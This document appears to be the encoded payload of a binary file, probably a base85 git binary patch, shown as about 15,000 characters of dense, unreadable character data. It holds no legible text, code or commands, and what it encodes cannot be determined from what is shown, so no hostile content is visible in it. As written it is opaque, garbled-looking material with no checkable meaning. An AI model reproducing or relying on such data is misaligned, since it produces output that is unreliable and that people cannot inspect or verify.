zCzrXbHPC@r^Yf9X7uww5Dm)fbDS)a*DSUPnX2-FZm0J=>uLct$v_JAbR9#kw;rG&y zqFDJd!AN&Qs3P;O!6tPP)W`fh2uVvV`NR5BepKdyy;>Ime>C?Kj=V6>d-xn3l*V1K z-`0S`jaX;XlDVFtlrnKf!Q8T_TuUaNzuu5T#xs7IvL>}e4RYvzFwAocTX=Jex`ueX z-B3m#PKD9iC#j00oDyIc$^ml4rJVm^+<=lb)WZ@6r~>tm*d#ZM1{RDmm|2U0_h4zj zwCEo)pV$<@PkZ?};vRij33|?$8eQZ~EKptX(~{y5SEPDMt}7(--S+oQyA16qLOlW> zxq#H2O|+MwJ<*WcZHG5=F<#`OcOKT;weM6+eoKdIjPTpZa67>XQqs?S?CgW}KcrnC z$6|U*{35Bha%fnOKexP+m02oxt02CxHdAp+5w#ZhaPD9qTp@#QYNOnyx7;v|$?E55 z58)uEIs4=wxd~?vPzh<+2gj7tmHBOY3e_ld}-r zx75#=SK@d~te+Y|+u2iIS$-r#E2@!HWwst7s9Qs}l8bif2%A+Oe{&CWiIVF0{f+V% z{{`hw{~^P`EG1}UVDq=H{?6eR#EN}8Wqi-4 z;wDP=sQn!c$gEe=fy|>>y?GPV#pMc$F+<7a9_Z-^h7yuSu~j}~F?j)$yn#drxe<3G zEQ*Ny5rW(p?hZS))((%VXtrbr|2R4wH|O+}8>oqZQ6MCDPk^8|7xY^ZU79w3$A(QC z7rV>%YYNi|l(`H?wPc7-H8nY0CKHoAE&P9-8{;%=sLxbw^eeW^gUKJ98}Ee z#3-mCXyi=zoaL!gQz8UZXdbM#m)6~T*KKtz6SBc+b94jjJxN_vldG*;8Zx*zVNPMV-Mzg0`>J@rU(C6guMTgA{4T+b##+7bND}1`1j(=h?SD)2yx^0){`H*KzoLqCpY59BVq)TYsO7A! zjgu8K$h-(KoES~sKR;4sy>amF9$(53AyWV zlUG$66=;W+_~FkES;-U@97KWZcL9YfNrVKK(Xty4|KUr_pz!Rgh>7idsGv}Y6DT=_ zJUKOv>M;#O@y$6N&M}Sh?F`n8Fec^58T!DE%AX`j3Pc}H&Us7|VM{^LaJH?m?!u^W z`|KCY!HC3{Nf(!@dNZuNAzV5s-zYLFTGWW$eHm*Xle>wp#aJE1#-4H|MVcd-+V@VP z%W?uFE+d-3h07Ia2V)RU24w(dnaGS-4DXnxtJJC`3PRQSx1?Saq4NN%@4-;#_v8H! zp~OEvTEYLxqy2Y$`P(D@caZrvY>C_YPA5Pdn!50m=d}eO4^^D5xhVth|HTx>12E!< zHb@4tb=i8RJo~_WaRKlZN5dUsntSyrH|Wq-$(RQL`&jM%`}gFL`(@M9=f~3>OTI3k zvm$EH0%rMvo)$1Lvwd~SFRg%Z$gJY%q_a6pOSs`qMk@tH(0uU&K!B5`_5o1I1`F4eBN?O{y@o-uN1_WC>sw zt`Da<1Zt*!>m@jn1=>_7}mA#ny6d6;~`#(ZLIQsvkW@ zTybxtSuVM@l8s6i$Q;nTN&sXc~O5%h)%9m8VBMt~`1S?NsVk{1I`+ zCkmv<^(mmo_eWkZ+lrpt4`1aC@7_hL4He0estC;X9gs~p!@>ZV>kEYbvl3`4)fS<{ zT;bD>aO(m%JIjuX`qOex+;*Zo6X3UN&g4-@#*-f2dHMFdxYy~p9-cdR%T5W!PrXVVBzVL7AIN}8R3Qm4 zn5Y=W9WCAuwCsX(EF#s9@Ee-quh;~jSMXqCD!B6qU{TvQ1z0bvy)pX7!{YnH>fM3Q z38w^|{eieMum#zr?>K(}om7uWfBN@I==m>Ro&UHR{)OPs|LC^=%__+F7Loz*eGAEE zCYaXfd1|N9E-9;p!a>1%4E=O(@P&@a2d#!f77{k-j!hC!`1yFUagZ`r@}tVQttUB5 zCU@AbY!43}ZqUROs}uOZi4e-r2xU`?stfyCL!c1SAOjqVE*#k-5SCgvEgCo?l;`w{ zTlie9?%w=pW}2tx+(xW(1E#auuN zpI(;r7))iM4cGhG9fv5OMZGOH7gcCfR}b4>cc~%ICO1X*00?|61q;*2<2}u@APPK8 zwRJOBumXc9RH?iF6di#!0|@lQP)Z^#i=m%w*&ti~qd6%*-z9_sb#9O%z37f$KO9#m z_xwX~Pa5~hzkdL61T6d)D#ExKYM7qHJ%SHC9|aJ_oE05*{q5hfr_h*bn@zv*t?-}X zo8u~yV!9;kM;5C%};+Rjnsu2becsXtB%35Q_sN@%AL8bC8 zP6A{nks9}0V~{mS8}l1Vfiad%+3U~(hJB^BfsSGmdb@wPRM!o z3{WQzTV0U06f&qh_v!uXTC~WA@54WZBXd%f4$R!Lz;llCuaPIfd2V;ZAjw9(jPC?C zN)>QI{0?i2YVP|Cn5)!+*2nVb0P5*}ma}+$*kcNXo8UFZ15cBX zEtqt~Oz>ETm{y{mZ8d8s`sfa|*!AMYz9Wka(qqmmi9L5 z2TouA`o}&nj~e_4Nibcz4MBM$Y(B9MHB~aKiD}giAFhuzXL9s$xgJ9_?Pf)oA<2#y zu3oMNio6MmhL8V}@)W#b;G77)8;ssBv3AJ(X_gx@3`8=01z&kq zKAB>`I*C`Ou{Uw1EfsJ##CH0^Hh?K7fUQ{1Cz$Q3||6i+=LrbmSPhv45r#9mzch z`fjrPO{J?7L!cX!7WS=gpoVJr4j0mu#qmJ=GR;6WX5R&>GNPc=5FHC5VIfZPnQ^VD zddvR$DPZEx5t1o23sz?1;xYlSxVq11Ig=L#m22w(e-HU}7l9bCJ}>kiJ=DdiGGYJVt;FQ zih=!_U0j^6_39S<0AL>tJPK!PYI@OtkV_qeTVBl5cpruHfI7m}9Fz0iI+-dP7^c<( zB)&)9`03rD23hcdluIJlE1bv#58!Ae%9i$#>q=73@jPZCBAWOOdI(CHChS5* zYicd=6yx~1vm|2T-~DwQJf5tnwI`9Yp4&Z^4>SG z#ij_gmw2E&YP7avX;n#C9P1?2-Kui31J}{-x>>m1N?+8I$BJ4DF8$SICtF=r(}9@o z0k$YLqoo;cfK+H*Z2r4zfHKMGDV&MHb!V7@#Ho4I>MGw3#5d%mGLwyxVwmXT5#~tn z4u%Qq$arpE{Bdr4^yZx!Cx}t$iuR9N31;v#&H_BHlpn!^oeqrnhOjfE3ZaN8OBig0 zx3mF7D4b_tG^`#TKF_opD98x4pqMs(IKuq~cK}y%x2NVHX~tm36KWpL57BcwoVENV zyxCuAx)^zB!OB?oxdHnTAiw60d%_)O4}QK#_lpCSh`NYvZ5X^lfyXgBJDA)PsWZbd zy!I>UXnFhXBdJvz_@_b+%qyz`kDbBr;6V0XYoIh4p< zEZIThj(vlQmV@J?0K+@@j;E4m0qpcT@S5w%&k6rJfxjmj&^=UZHIUpi+tm=r9om`x zi&f+^6b2z(%u@ezDwo!!_M~E!iDgAp?uNech*ao`-l?aUnLQhvY8px1;MdmY~KTD@Zjh#HRAj#bZcx97-oO#~HW zu2V3DdkDdoR`gO)J!@}!{+nBLfdtMC^5bqg1}ugbWCH*eA8@u0$W31S0-rG z)-s+cK;Mgxp+XcuNo>f%e9-V3b98?19%OGw)idF$VFZt8_f|5#;XQgL({JE6k;Rux zjVoB9YtptG)k()k;KdX0qPt1F8Afku4d`9;GXJIhyKeB;Y>c)_fQ|6E+qpkitSbi- zJ%4zhn*0}b%76Bpe1EG$`6Jo>dwcTF;aYiGkx&@T3lRY{2!O?o^%-d5_!I$j;~B_S z8%|ptB_Doik_JVsjgts^LWLnd?Zh(Igqqvpq&FO=V$T0Nb+4s(;(CKQcj;&J!IN~5 zxKAw=cfs$o%d5`i_lL95&Tj8lbZ%D!8*{YYK<^(nT%xG0sTak@QTeEBY0IV$!pO8{ z$43kBT65P7C~P}*VS_wcvvdJpLdyHx68uPFou7%zx{C4&H*H}?$dnME7D=?>3Jc*f z%I9QqVG!;|mcvPR5bn2#Gq8&0057R>UoEW=GmS;X4Yv|6`ZXB%CE)jZmZpQqb^w9 zb70OI)PfPW%LN@mY~^ie`}cgxq89vKXyCAfqt~2E9m__!=`TB;(baei7}} zvP9qIOVH@RP`T}MCl;D;YW8}J4ciTJb8`t~XTTHL^5T4B&wT&RSDbP#cG1t2mhTkk zK55BMkLV%hDVq;$zW_5k46TN@5AtfN9R#08p5B66n3XyeBqbRjA;+sH(=>x9+31HP zZ?^AJG}bgPND(!%Dl}AZBrw+uHayb6&b}(ZpvNrw6mu$PV*0aZ?U?u!pu=CW1$_q7 zN>3;o=7c@37&RkZN0+QYoN6K-Kerae{ZoC^S3-hAYu5}|!Wa{s+=!r1s$^gmSeTpX z%jI$*1KJ{+#U*!+_5pcee_8C&6I1*V6#U95kq0~R1N`;K3~?h5`Z~?*BcyAZz9#yk z5v2iWUW@SXhm#j91+GalO)$x&z~|+!+|6P^FCTqRF;85l($v`17n(+;0v1;xt7gLf zzOzwHk6Lrw_*K$^NAi`sdbLKtEQrM-0{6W4uceM^!pHeH^04f8W`?f zR}zLNE^Tbx{HEyK#tB=N>w56G2&7VJ%j{Dy$3Q*k=U)-(uB94Ako` zaGP=lw=^=iPaCwy{nbcYgmGJK1NO0MGzjTYURx#xxCd7QAKyE#cn!zd5P$GK{dw#l zvGfpx^o#d#_FrUF|DTeQppB*F*KrtYlm7|{WvZIlYN{fCRH2L~>7rDJqB7f?Vhih# zi-VP>FFCWYHpLB@2_yyaNKQ8)s6)&-h|SH-#Q}oMDS!nA(152y2C(p1ATq==yyY-b zb?>mAA)y7KfArJ@TxoIhcK*6`48rYtI_+|pewkw5Vt;xy`Fx+1ex41q(7)H?h|tL> z+dU;@$Vl3WfHE<1WeOPXD;W?KzPCfqDj6ESE`X9%HU#0p>0?jLPO`}c+lfznRzhoZ z6_N4M2$~MKQO`)8o*ui-fXa^FIf2W9%||ZYA3hSkhpcOZ>qDiy5kRwY6=C`*-o=I9 zm)viPignR~*FPws7574Ee>iB~5s-X93Ze_XQzyWdn$BT%D9xFyYKp~UoyFi$bm3TJ zGPBVwnoD7&>8>qjdJXn)ba$A#D8Pn7%%1>yBa_*JH zojI*R4#GT8?{#9ix>>dzUCEmRhc;126^Pt_QjwUFg;9U|d$Kly_|;yV(V=Ie_@KES zy@qt2X^k~wT=qVNbaKC7QLwtmeg*JIYDi+$Oue0FrdevJVSXhP-z2;w&EOz&*_B8P zVp1{$Ds)2PhVLF4BA~%bB=;w{+jJFV&U#jfa*=>nYxEma(M)GRD52zu1=;Vwu{j9t zt0^|SO-K!64U|gSHRp4&i?z9hQ^4~p2~KGl zX=K=VsOE-e+@x53H2D)b!58H=h;5Nq;}Ff^K_rs`eH>O6emF%Y>hJm9I)XzJGWX}` zoHCzo92vDE*SQ1?yyd;r0U-8kvZR&qX&F?$9n6WG!W`crn^I9FK}vJ@EXANe;}=qC zKMK|;M{f2*g{E+j)l2hono4hKv&tT-^YB${>^XS5t61tyU|Jql;54;z3}~cEweM)E zqY^7!p(PbWu6JhF9eK{Xeg?!*=_V7L5*65dpzu#eV_FGeIpqx`+h@P4t+;D z9aD>Aj0c6u-|ErfLhC~Y(j5c``hCp|1iOdU-=2a48ns>G%Y=5!DbXt{Wy0X$a6(nM zeq8^2Br9B81nJC_UY~EM!X&9q|KS9*)x!#{mIA(`47AnP3|%k~O=S-%v)d0bi{K|@ z?a0C2%55mEuD-@>u-&5f0aJyM(o@ivhERg9G8K@j&tNs~Z*E0^y4cB-##9ejA{MK( z(2!4hr{a4GO*Gh>2w6|2XJ*)+ld5eZs@Ph>Jt}y}wh;m0lJB^<(=efAZDbb6rmz8M zuZ0v5e60;sz2g)}{rS@-Q}k$uhq72}3$GLMq`og_jbeVj@bIO~DRR{0aNCgDWrBh=sq zIuS%(w~D;>JF<0cLHj2Ltwg`C+( z=vNuSP95Qbqpp=GZ2ZxTB|}Imb-p3Ft~WUrB}2?g{@A}t_Z0lKwO$%W@rU;t3>grv zjyuHDKPnm3P_81@rOS`rDCXSm#wxp$Cs^Y^d(=T6+P_mi5WtKvBn$5Ex6Y+M*61c!$EMeO(oON?K|acIGNw zBudiIVXiMUC-+&l)kWUfjZe4?-#SE^a!a;^m(B>zi0k0ZONoa9U}Tiy%}BlE?UmWk zaP823Nz5%cc0?Mn%6XJDS;IWo3~urH0GqM3&`HqB5087wcMDvo&h$YR3(cyaN>X0s zWTxfi|GHA+; z06<2t=V}^L^6tDsU5{%K?G8^WIRQuAZK@KML6cc~@I}@ccTdu@0jsIgMYs9Fnu-kMUbIMc(5qzdaWAU`_jQSKPPsrQbvO-x<;0P-Qt-*-cMt zQE=x@A`p)V=}PS)e)nytd=PJtWY|4p5+=aq#>!g-n=eo8aHq-FNqSb)?L?imDC*<4 ze)Kwi#t*!r%D-ctUE|7v8o;En9J1%Op2rtQ8on^hhAilS_pSY^#4P`nF{s_v3EDdU zr4S#6IloHprHEBkP>o|2p>>uiMG-w8tK3S2t0HD8!4oJ0l%@!PQ4ZBn9&FY_d)K;> zALlZC;xKJ@wQi2el-(qUSw+np!<=zaff^MnzGOpHe~TNI*@!6s#MV0lQhoS-uoCWu zraZ7bFtro`y4ZK!l&2^>Q@Ny9AGYhgcsP3DGkyf{J)6rKu}#VA_S_-n(vCr+`PZXg zoxELu@^^FPVp1rls#FeED9>Y#h0VkDmBzfcVi?WczNEl5R)+I*xqKFnu)?KTZrMSW ztnKkdfDhK76 z6@9=@ZW$dCrF~fAg9=zAe{7N2zWBNIF7#3i$Bc=iJ0~ zNfRmm+(fT9H(k^L1yY@UQKGboy`*gZIL(cs;c-d`yr#SAH&p9&s%PMKywM>-(bbO| zHjd;w?)#*~YL~r9)|$RBXjVUmXhhV8X_N#jXyO99Uo4vwvdw7V^;M?mCy$hyNdE#viQeEKkrXMI@vFuUo^zO+UfmYkaquLi}6L){g2*F zLH=uz0r#OId&N~vH9xl5mmDXNS1bn%57g@^2Jfy_P0V`9)vD?5t#XftbPx0@KYL!t z-$}-O?#Woc<;gg4Iec`+8OJv08;Jx#62^i+_G9Ec?H6OMP2PZ>llwb={jxb@hNJ&= z*I4m7c6b@)vo~ER7`JSTg!yNhET=?(7KnZ%zIHNVDF)PN{vN*nEW{SOWg$rG^3#sdoDuXjC^wp|JHn_b<@ z6`-H{FqS{iX+Ae*eFLEc4Xu0+$rSKil&Kn&^h+wbjf3ux_c7tY3-1+@nb`_RWoE_u zfd$27q2(-(LF9&Vziy<#7g0FW96h`HS9}ok(92W)BAR|7!4IYufL!ARJV*imu@%#j zN%#UNI9{Vhf}NZ=dT4l(N&5%t>P~WxEb+Cfi2Tb{g}~nd0)(xdtp1>VnAuqW*FRUN z^pA5WP2zh?^o0RDIb7yAh2jt?qT}U-TxH)9CD@U|w!hiWSsCoR`gf9Jwf5oe^Z^i+ zLBwni`TlVhCBjO8&2A-gBlE@hFn#*t=I&1Qhb_bx;nz@Pm`(;J&Pjs0c+ud%4%B4P zo+kP(Ws#262a*HSPQJeoKx;{#>@MsJV1^W0zBg2&xI-pj=SpN&4v=VO8xKUZ-r3p?ov+fJNgA`r{ccT=?3Ae=w%M-;)-pb zE_|>G!G1I*UeXQk7~KbC#*YuC_YHmwHLyh*kC zJxJDcQY0X>iqTGM+VM^MiOI~Hr~8?TlgN_B_1I$d`Zjj;W34804O(6L)(~6g_o6fk zDd|?U`{IeV@%kLTKes_HR3x9{Y}PG=3ybF_Dj*nhR~r2J7O={G^n31%1eGS}eOxB! z@BBpSrCaAFLC|9e8L(+Maun+(@@eloLQZCFB^A$i8&q&4BEFA<=|%or3Z9$BeX^Ky z>EJkl5=;gC%_Nzf=#w>~p{X!$P7P|&EcMm|rX_fyo z7;9=5PhDgfI@mVF8H664UkfsxJS0^IP8H06CjjlNMHp^OA+Z*2BBG~kKR(y1pu@lG zc7lcBAbxEmX@%t#ai9KvUV|T{`8e4LQ?Ny_lO|YwLdG-0h-fU2YETS!MbwsQj1}{+ zSYsSF_9XzTznx8z#fLx~+vQkLU_30bt`{{CjPPrqJK5U=kqHoAIT6z8kGGtB|n;APmR2>m#A zgr-W<@_q%p?Y%OS%`mr6#`K`9L8v?G<^fn3t zBZGuvg92oM^ar|syxzS;wiKB!e#~F5j{h$dw*M#TikMk`k+%Np!_8FQ`olGjo3)!o znuR){Aw)T}B&8q_4+Xxo&__7Dc6)&TWQ{~SesI#-r2d31KcAN8xkA>_Q&|@cxX{@L z-R)_mTa?@7$+=$o46JM2#YJ4698kM;tUtb>2;-$#sxr$V-VvBAmQe&(6 zd^N6(o06{XFtuD|{94-AeB)u2*>KX-X+mTC!dbg`c%x}D$!7F!@j{K{5bLh!XQ7+_ z74VRt?V9as<8>5#Aiq%mj~F%hkqPyvgK0>j@k9&2((p?P$mm7tVXaG-^rENO*#>Fw z<0h!zX*=q->e@wbQHzLdce+f?>6eRN-0kUFXV|2tIDQ58?xS>4RUrdY?EL15BLBx< zR%75eVFzP6uRplz&#LOHJ=gA&^Z2E$MPZ{Uw!(u?q}n)AHlXUW4BXvqL?3H!=b1J1 zUhOSE&{eVRp_{K7rA}oQfH)6$Y1-%L1CJcB`sz7ga!L#V<2huuk$vZK&WxI8ZJbc7 z>Mb}vb|;fsNz{+oLQH^RU>mdudYklFJrTnDfMEj1k|+z4cG#+P&C|H(ot2Zi3-YPh zu?EXAHWzPjk{mmz&@(==hY)_Ta_MTgKEZ*IjM0-ac~0A}`sN&vCT4Fnv|9gq-);et zekrT-LwzBv#r@%fgrH#L!x;$UY>sx01@OeR#|B?DePF0-ar~yOcZGj*_gN`T3BrHM4ITkZ5$R|_4X9JH@;5>)I3rF z*C?paw~shL8wQa$@=M_ADN6$861q^P~|3l&%QvAWs&oP-M1n;tmZ>p92zA4CW$4=4PxQtb{|g;!H8olGQLrcm)n$Q5uHz zd7olCITuEY2W${)`;Vqeg0RaK!%h?O^}WSZZa0)h+OEL}mxmoRM|cl~Zvh;AckDc; z5Oilab>}d32e*p}o*~L0x{8FvB^v;irEFiMso1fJWknxTR3As6S_x3sy~i`I46H|l z9L9vKQ+7TNtO-i>3AV1p_g!Ne!o|!}MqnpiZgfM$(!n;fLM(3^`@R^aqJp82fKH?4 zuK*&5ErZp*%5{rKq*AaT_=bR(KR;8kQcl3?w61JjdGmeRGX}UBo&%lV5=q+pepn>Ek}KbbrgCUswhXY<@RnQ6nMSB~oXGmRV8T=;&b=%)Ok$Zq9xtr1@;fgZ1)L1XpeEbJ^VU=3hXLUhD%i_(=9X(H-+MvoO7<;G=2IwLD49?oG^Q5ZcvLtgqwM9=8DV9z3T*(z({plAiWwep zGEJ+p(Uy;6*l6HL+tfEoRLrv~Az3T@rO(+ECM+EGnF#QpPlY$I5WtFFqrn3n(cQvW zVi&_#O`VJtC~@UUAu&Yt_ZRx;8!PTsSD;eo-G%j@>{}NX%6>eafuwmjYJ5>-1!2rw zN2^_E$oDM8Ha1>z(xxFD3sAtont< z%gqcMQ!kOXe1D=i?)3sZJB`DoRw*ltlV@ps>qQWhQ|WhLuN*-1mF9tRyd&q#_|WN` z(`1^^K{X^)l%;gVT0_F>Ve#E;d&?hkWoG5pnlWz3JBcGZ9yAB}&A!Xbg~`vmm=9a) zwL*@o^2sOOwFdG^_jMnbk}doQnQH(5)*#sL0_&mbbG9CkdNU5?_`X^|7BVv3sFTg8 zQSMX*G8#iDT^Ul@;&d%$xHb*v+ImJ)VA{(E5+Enmyca|Kr$vE#?GW=++qAmk!^|)K z4<(f!^9>kNo7rEzMUM{GO*> z6v05}+|w)H$Ihu8|IW!x7j2uFgNd+$h~pQp7OIFMUJSh-a~%@gdQQhv8#7cyTr%k1>$=L7EB`# zb4!d$YYl#bApXcO_*oOdrB6qOEv>IX6BH*!&7NfDz|Isi0=-Zdyw|LY! zpuuvkl$P*a~1hHc4j zv5w3rK8xCMaDu%8B$7BeZbZ$aCkzI#c66v$W4H#!5b7~J8&LfBRhLP;1XTi!2=EV#ev_apG&==_2g80)Gn* zsxg2u_4#>*T_P!?rrz%5V$Z)SjS6E=N=jouedY~)(Z@jqttBY>?I?CzX!iszR&iQW zlmmoj{gp$FwwZbW>P<}e5wZ3&g2+2JJ6iWd^uncVo%i^6_I<*e@WmY~_&w(P`*SgW zK!xU>wrd|n__xpbYsB0^cdt%@b%7L_5rOA0+aA>bA8LWVOHIuH71aP_Z-Ryzu--H< zN-tqJc_AT00|60*0kH|=3Iy@{P!>!0i(fPxbYvX#L>hK{jvFe#zNFOW=YQ^m=@)~( z)qL%Q+5VFC|F?LE|7s%zP4&&J|G5uVk+l5M+;UIb84Ra3^uF9@r+8}@6EWRO<`x!^ zLl=mfz2Z}6%beSBRbGHI?!_e7BY4n*O{Ahb^g=ZD>M1*RTcCN+;0 zmbtv0Ta7VL^5e$wL-!+=t6obhT@6~vlz-^p6Wp?MlDeS!<=#{;+k9>XC_UL(%mZ z!&kE=X686keAM_MV6DaoThgzdC1h4$3|m@6lfBWO^K}AkB8jIT>qJR(@rTHn6h>=C zY;%ioy~f)VdVu&P({zm?~j=UL*VD2p|RSliDBTJ%2bPS(^Ftxxj zVE9{9d#4XpMABF_Fksu{#EhU!j*Rq+g06{KR~&W3)6`J42JI5Z9AnmkNG4VgpOR4l zFyHCy^J@AUiRlR`b8$vz)Q`wBwdDQKld@&wR=c&TR=P9=tIGC{Oab)8)8!!}JU0`w zH0MO+JHkw${$X^Q%*7OqDYX3dksNut_*LtTlSFjo%NS<}1XEN~s@V;*w9|n7ift7t z)fzxbB}t^<$k>>Pw2Y6_F>-f`#}7Nsd^MFJC3rnL>$aU#8Q1|l3qL-uKz^a`~NX8Re- zIGUtU4QUHVT*2J<84A}OQuB~(mD}D8l&*YX0I31epEek7nhC0Edcr3otv^8_9{FB% z@?&JxyL{3qA^}Bzi2QstE@!{ADB@pRxFeL=noeJtJlCC)O>JBAsH-k#ldTxP$C`B2 zF4bgxlQgKiA6-3+NXT-oY9$D@m5{_Jn3~eTp~Y>1Kt!9X%vvwuzR{)FL3^e-+5G4Q z;{4t2fwmt4RmZ-miBBXWgUM^vfhHG8!Y=yF&psg|aelwTVm*;@u+jGwOJvN+Q{oPi zyroJ?D@aUBSnrsjjD{d3r$ijf=LF zpRMWo&YWv1Q(24iM52hn1{6)XykzNQAF(tI;lenZr-866PBx6C?eoZn$R!|5y);dI zvzD>uQBTF`rT7BrYO-_e+KG?a>c{8`W_O|(30y9d3BFlufwTfjliq}=W4Wj!rBzeR z5(Sfe_Z+c%vE)5MqraBRw6E!JBmzJWQh06FKn`CExmU#ISZ3Takg4_O!htp*r-Wi- z{dX=Wo$V8|^+7LK9s3m0Fe$FX_R`u({q_KNhQV}pViyNePVe^R$bM_qCWauli)Hzr z$alec(8+e=#i5X3an4LW{lwPPLI66s&8jOA)%an{wNN(Ct5u78GpCIkFzfv;bGlR1 z*6H`nmn1(WQ=*2-(y_Y)gRkaxJRF~Sd`Z0y%Dmy;!UF|)brzP`*q26XA7|ozONE*YP;=+ze2m3qrm!G{EUMK#R_jp%N zcrI*}&{GKb({%K`=&U;M=aicsx`_LjxN4n{C<)nmsOM?pHW7Nv%k*j!a|FJup`Y+5 z4s;~52{FUUifRZk{dmE`Wez$db`}Q5fMx!}`)K0SA7$@h3zRa@X$O?m5WNd4n9JkU zB{rk4oS^UAzwf^@e8$e-Gh*(dVhzcXZL8`s8S0e2b|_ppDAuQ7w=>y+j~BVQGf6yz zb0|J@9^gv7WxuVy9SG{4=iY6tug|zCW~7JG_<@C)2M9xB2(=Kr`lyC-Tc-mB_<7WgFgX|2YXA^h#p-e(_Az{<75lE!6X0rS9L*&wt8K z;>NANq-{Z;;#%#E(u#8=)Git{5`I09V__5m0+mYeV}MFTDpKq642iTOS$H^MAYypH zkT^cU0vUEi)^wY-*BOi^Q=WIzS1%90hh>@Ua9y;2wbc0$YdzRPFF)A!_ey_XgKqf=ynfRTQn_wOV{EDeI1)cH*5bx+Fz3tAE**)>Ip7JdwiCM;_Z zH5d+>d2lj$ed*e{dK+= zI`6Kbn8hp0Sc@B~MnpmD*rk7saKoQUuu-|34MdP7<%hbb$dOXBDOA!w=X0s9xCltA zYw4g{R8NKUT|w8jT;vJ}`evu^t~LVsd$Z^IP+K(TG2QulG%}RMq6MAflccZZ;Z1!DZ7*jAOp8A%tZK+F?1w{=4qX za}-JcaGV(`r7Vh4Yhf9*<0&{we=)?4I(2Tiv>=#-VTjzuTia4X4QH*DjcMedG8BIKl@9$+TRMPe;=z=?e%SKjqLv!Qp#I4Yf4BT z)_X&xdliHYXWmXf{O6d|F+mNXmXZ=_FwxBr(mrz5`fc|l_jZ28UO0jbU{2%pVy*%S z>{=lRYN+xPzlIFp2C^;NX;niagaog9oO?{UbX{dQWb%H#UbqawT*i zMCVjvRKo|-9tCdMe67r!b=T0qt6J*NP<37tV%xN&Mc3N+Or*}ROi^z*CQ5i z-!{EqS@t07oqaYh?9wP#PF4+Ly;QasJP1rwXtcK}Rja05r(h^(CzqOBrC8t|u4w|} zX*AWWDpuc2Gj?VZ^jxZevdPk?T8q9~z@XP@aJt1JN$Z$1v$8i4USnz%(_>|FkamE& z!RkopDB59|NVYO5&uMHFiATk7E*Ca4W0l^#hSGn6I6w)w*6DN7EiF-$ns*ACwGd%l1jM8v&})n)Yyn3ct#HwzU1x-mN2+vI?TG4rX(?L2 zc+jX|it_kH!&=jxUFRxFE-+#*; zN|sD(=1u3XC~V1}at^qZKoj0m6F{I9RD(SL9X^xnhuNwhZYWxe{c4f?^4pisZ!MBSG8b{MOHD zUpIUvoZ4p@N#faj&=uR|o69zMwo87oJLHsnDR$N8-jz_%QoDKEBgD2RtCy_f8hiFB ztM{jTj(ELex84gEQyvHCHp56=&Mq}i^S0Tx$Loe0LA?is4Rl$%R~EX~BYU2dyVgda znj&dyl)NOAR(#s!R}IC1rzQ&CHroa8lvaKZGQQAEtG^-$CGiuI?@|@$O7Q+40?B9Il$gHz~0ZVD^UbsWAGFPcv~N^h97s`ICm~@BNjh_{(u6#3QyvBzNmKj ze+dOj{v9arUkc2BTiE_Lfs*={$oos6l+GFD5tw9;l!ipczS_d)E1?yJCk$@}PZ0*Z zYh98~Lbuk0x&~zyBenglj%V7OdeNL;$E89*&rj1Ky ztMS4`roc;dg{^JQhn`m$!QCo-^i40&N?U|sgLwSM8EN46W7A-~0rAN3FStms__<;am_RXpnYH>7Ki z=!GB$lN0g|Y>GnbCtX^N?aM2b+OJ9Kle-doUU5T67*Nd`}H&@f3 zh@j{GD%n^~qK0f$Xgbfz4|fuLr2Q;*Rw`%?BcEWT!iqgra!XHFF5WnU7%#s#F%V_( z)3^4CJA2fkHCfTABDPnVW+FaL3ImraV++2cIJD&-6rLy_5vQgd1f-!~_!y@{CkZb9 z@~!?&hHebn-g&?tv{*zc5n6VyIjfj!qp<{pC;W<3Mg zx^m28peuP09nxLg4)y|A3{R>q0wp=1M&cKwUZFSCeTUvK1=vMmIO|VvVF@RmpE!#_ z>&5q`jhlWAyX+b9I*!*vxAMEkjoDVE;0^!*$|e}>2^35so6jGTln6b@p(F^w^b|n< z!bKo#r-VIh%Lijl4YqJUYMhWeO_Vz!hBqoF0)a&U{9X^J52!Bb#h579(?{wD@QtNj zRqBTpV@m|3_p|WU$3Lw3qjO2(Y`=EfJzv1a|133D_w0i?ht0u*mFE*cLL|V#NC4iW?W|*$aK9*ACVb|7@h8FXBYDja{h46b zl(bjSnKQtY`4#T(6Xz2Ryx!g)VQfRSRQZ^O2t)HJG4TFNzBE!4DSh1dMacJhA|dMZ znTWexaCZV+G1qc^egVQk4JUT0Pgu$N?i+TLX*%Zv&iqIU6R{9 zT?DHuL4r}x6vB(F+@sMB?NQmXw~WQOoSoSPpW4js6!J9=FC{xIXC;g`=p8LIU8Lz@ zQ4lw?)J@1TkIwgXoU979p0qZu`!2I>``KHE43zHlXb1m2w z-uE@OIi7~gzcJqdt9ZuF)P-9c9f*#3Rw45ixCOcxoRO`=6^|1pq6=brmu8r;1&O~8 zckeRJT}1BncgwLP%WHDZXPt?g%_Nm-^}+%HyGwI zA9)gl)^NC3pBSef21!R4(aaMHT+*n_^oksRen8|?Z1@ZiTs_%@~0B{zrU1!_OS|oYLdD0%iF6olU9OfzsLpx;?F5! zB%pri1z_A!XEB8BRTEMCyp-;65U&95C8oynSrFkkhu)LiM_QK?YrpR(ciD!zB7yBm znydz5B+2Uy4VDM8Lb-ewPaQoTWb(!3%)akdNfj?(*Vg^PK6!`c?7e`T|d7@c||O*M=U6mh))iP%msuJbh;|jAa4%)Mxosk3d+?qea#$ zUV>j6!>(o>T*k)>xQd~*+DO3yq^^N&i8sGMCXp1}{=>D;7<4C$vYnEOd=^a)0Tnzvc(fEPD_6Xunu~msjs#;E^vh& z7?(IL!JwbgD(TWu0W+X@?8(a>18s(v)FG9`hz4s()=!5&IFca-Rq~zqPDi`3A$gaG z5F(Q%d=0jxOlOQ?16#|d_wNf2Q7di7d zC(tw^7QpeDzY}aw2U%x3B@bJZ%v)VrFfZl)id`uknTewlcvVgx;y61LHx!cY= z*OI ztw)<4m-9~<>_o+ z)TRv*`dY6gR~>Lx_1M1jaMVpC*(^`iUA$@rrBv-fd%V%D8iw(s>jJzY3A@=?BUr^qHx0RX);0~N@}aHbndSG9 z1ee3GQ#0}q-N^qcf8soK)2Pa zmfI0$jRLlLs4CDfMR6Mk&-TTNvAyjFl*L;*&sB%ZvTu`#&_^L*v5!Rfkjy8|M|gDh zAEe?3w63$Z@1gVdl=kz7fUtw7%;RKXt1$)n1}}ByIk>3M_d9;Rbx0dWxF2&up0-S`99Rj0}p>(=9phI%T%f!KlE5I5?!SYl(mrg}Pjzg(rDxOu9>yt+=?c73iGYOsTZV!Ppa zex5%+`1FFo-_y{9d2|TnFAQaM+8k-GQ64ofoa1zAJ9Ck$>7z|#d1bB{&)|k>Pt7#% 